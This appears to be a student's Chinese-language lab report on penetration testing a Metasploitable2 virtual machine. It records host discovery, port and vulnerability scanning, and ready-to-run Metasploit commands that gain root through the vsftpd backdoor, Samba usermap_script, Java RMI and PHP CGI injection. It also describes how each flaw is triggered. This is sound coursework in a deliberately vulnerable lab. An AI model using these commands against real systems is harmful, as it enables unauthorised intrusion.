# 20232321 2025-2026-1 《网络与系统攻防技术》实验六实验报告
1.实验内容
- 1.1主机发现与信息收集
- 1.2 Vsftpd源码包后门漏洞(21端口)
- 1.3 SambaMS-RPC Shell命令注入漏洞(端口139)
- 1.4 Java RMI SERVER命令执行漏洞(1099端口)
- 1.5 PHP CGI参数执行注入漏洞(80端口)
2.实验目的
掌握metasploit的用法。
3.实验环境
3.1安装kali镜像的虚拟机,配置如下

3.2安装Metasploitable2靶机,配置如下

4.实验过程
4.1前期渗透
4.1.1主机发现
在下载的靶机输入ifconfig查看ip,我的靶机ip为192.168.226.151/24

到kali虚拟机中打开msfconsole使用Aux中的arp_sweep进行主机发现(普通用户没有权限进行网段捕捉,所以此次实验最好使用root用户)
search arp_sweep
use 0
set RHOSTS 192.168.226.0/24
Run
可以看到在这个网段下的192.168.226.151即我们的靶机处于在线状态,从(VMware, Inc)我们了解到该靶机是VMware虚拟机。

4.1.2 端口扫描
使用Aux中的portscan/tcp对主机进行端口扫描
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.226.151
set THREADS 10
run
具体的扫描结果靶机开启的端口如下图所示

4.1.3 版本扫描
使用nmap工具对靶机进行版本扫描
nmap -sV 192.168.226.151
靶机的版本为 metasploitable.其系统基于 Ubuntu

4.1.4漏洞扫描
使用nmap工具对靶机进行漏洞扫描
nmap -script=vuln 192.168.226.151
-
21端口 对应的是 vsFTPd 2.3.4 服务,其核心漏洞是后门漏洞(CVE-2011-2523)。当用户登录时,若用户名末尾包含 “: )”(笑脸符号),服务会在靶机的 6200 端口启动一个 root 权限的 shell,攻击者只需连接该端口即可控制靶机,是 Metasploitable2 中最容易利用的高危漏洞之一。
![image]()
-
25端口 对应 Postfix smtpd 服务,扫描结果显示其存在多个 SSL/TLS 相关高危漏洞,可能被数据泄露、会话劫持。
![image]()
![image]()
-
1099端口 对应Java RMI(远程方法调用)服务,其核心漏洞是远程代码执行(RCE),可直接获取靶机权限,攻击者通过构造恶意 JAR 包,让靶机从攻击机下载并执行该类,从而触发命令执行,获取 shell。
![image]()
-
139/445端口 对应Samba 服务,核心漏洞是Usermap_script 命令注入漏洞CVE-2007-2447,可直接执行任意命令获取 root 权限。当攻击者通过 SMB 客户端发送含|管道符的用户名时,Samba 会将管道符后的内容当作系统命令执行,从而触发命令注入。
![image]()
-
6667端口 对应UnrealIRCd 服务,核心漏洞是预设后门漏洞,可直接执行任意命令获取 root 权限。当攻击者连接到 6667 端口后,发送含 “AB” 开头的特殊命令,后门会直接执行命令,无需认证。
![image]()
4.2 Vsftpd源码包后门漏洞(21端口)
在kali中执行msfconsole 启动metasploit,选择漏洞 exploit/unix/ftp/vsftpd_234_backdoor,设置靶机的ip,运行。
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST 192.168.226.151
Run
验证输入whoami显示root,说明当前在root用户下。

4.3 SambaMS-RPC Shell命令注入漏洞(端口139)
在kali中执行msfconsole 启动metasploit,选择漏洞 exploit/multi/samba/usermap_script ,设置靶机的ip,运行。
use exploit/multi/samba/usermap_script
set RHOST 192.168.226.151
exploit
执行uname–a验证,该靶机是 Linux 操作系统的 Metasploitable 靶机,其内核版本为2.6.24-16-server。其硬件架构为i686,是 32 位的 x86 架构。操作系统类型是GNU/Linux,

4.4 Java RMI SERVER命令执行漏洞(1099端口)
通过之前的实验可以查看1099端口开启
在kali中执行msfconsole 启动metasploit,选择漏洞 exploit/multi/misc/java_rmi_server
,设置靶机的ip,运行。
use exploit/multi/misc/java_rmi_server
set RHOST 192.168.226.151
run
sessions -i id就是在不同的会话之间快速切换的

使用shell 和whoami验证,输入whoami后验证成功

4.5PHP CGI参数执行注入漏洞(80端口)
在kali中执行msfconsole 启动metasploit,选择漏洞
exploit/multi/http/php_cgi_arg_injection ,设置靶机的ip,运行。
use exploit/multi/http/php_cgi_arg_injection
set RHOST 192.168.226.151
run
使用shell 和whoami验证,输入whoami后验证成功

5.问题及解决方案
- 问题1:在执行4.4 Java RMI SERVER命令执行漏洞出现了正常启动,但是没有连接的情况
[-] 192.168.226.151:1099 - Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:8080).
[*] Exploit completed, but no session was created - 问题1解决方案:问题出现的原因是8080端口被占用导致的,第一次运行模块时,模块会在本地 8080 端口启动一个临时 HTTP 服务,用于向靶机发送恶意 JAR payload。但是第一次运行后不小心强制退出了可8080端口没有释放,再次运行该模块无法在8080建立临时服务。只需要重启msfconsole就可以释放8080端口了。
- 问题2:我的靶机使用ifconfig没有IP地址显示
![4cade866b28e409b9822a9f88426c0ab.png~tplv-a9rns2rl98-24-95-exif_960_960]()
-问题2解决:可能是网卡没配置号,他有2个网络适配器,我把两个都改为NET模式就可以查看到IP地址了。

6.学习感悟、思考等
- 通过本次 Metasploitable2 靶机渗透测试实验,我不仅掌握了渗透测试的核心流程与关键技术,更对网络安全的重要性有了直观且深刻的认知。
- 实验1的主机发现、端口扫描与版本探测,让我实践了信息收集的基本流程。使用 Metasploit 的 arp_sweep 模块定位靶机、portscan/tcp 模块排查开放端口,再结合 nmap 的版本扫描与漏洞扫描,一步步勾勒出攻击靶机的蓝图。在漏洞利用阶段,从 21 端口 vsFTPd 的 “笑脸后门”,到 139/445 端口 Samba 的命令注入,再到 1099 端口 Java RMI 的远程代码执行,一个个经典漏洞的实操让我印象深刻。
- 总的来说,此次实验让我对网络安全有了更全面的理解:攻击与防御是相辅相成的。靶机作为刻意搭建的脆弱环境,集中暴露了日常网络中可能存在的安全隐患 —— 弱口令、未更新的软件、宽松的权限配置等。在数字化时代,网络安全已成为不可或缺的重要防线,唯有不断学习、持续精进,才能在攻防对抗中掌握主动,为网络安全保驾护航。







浙公网安备 33010602011771号